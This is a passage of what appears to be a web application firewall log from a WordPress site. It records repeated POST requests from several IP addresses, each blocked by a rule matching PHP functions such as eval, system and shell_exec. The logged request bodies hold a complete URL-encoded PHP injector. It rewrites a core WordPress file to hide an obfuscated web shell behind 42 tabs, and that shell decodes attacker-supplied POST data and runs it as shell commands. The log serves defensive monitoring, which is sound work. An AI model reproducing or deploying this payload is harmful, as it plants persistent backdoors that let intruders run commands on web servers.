2C%2520%2524property_set%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524res%2529%253B%2520%2524r%252B%252B%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524res%255B%2524r%255D%2529%255E%2524property_set%2529%253B%2520%257D%2520return%2520%2524rec%253B%2520%257D%2520%2524tkn%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522t%255Cx6B%255Cx6E%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520core_engine%2528%2524tkn%252C%25203%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524tkn%252C%2520%2524data_chunk_res%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_res%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524tkn%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524property_set_rec%2520%253D%2520%2524task_processor5%2528%2524tkn%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524property_set_rec%2529%2520%257B%2520%2524descriptor_entry%2520%253D%2520%2524task_processor6%2528%2524property_set_rec%2529%253B%2520%2524task_processor7%2528%2524property_set_rec%2529%253B%2520print%2520%2524descriptor_entry%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:01:18","152.53.138.6","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:5256\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nlr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:01:37","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:5256\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nPk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:01:40","50.6.7.129","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28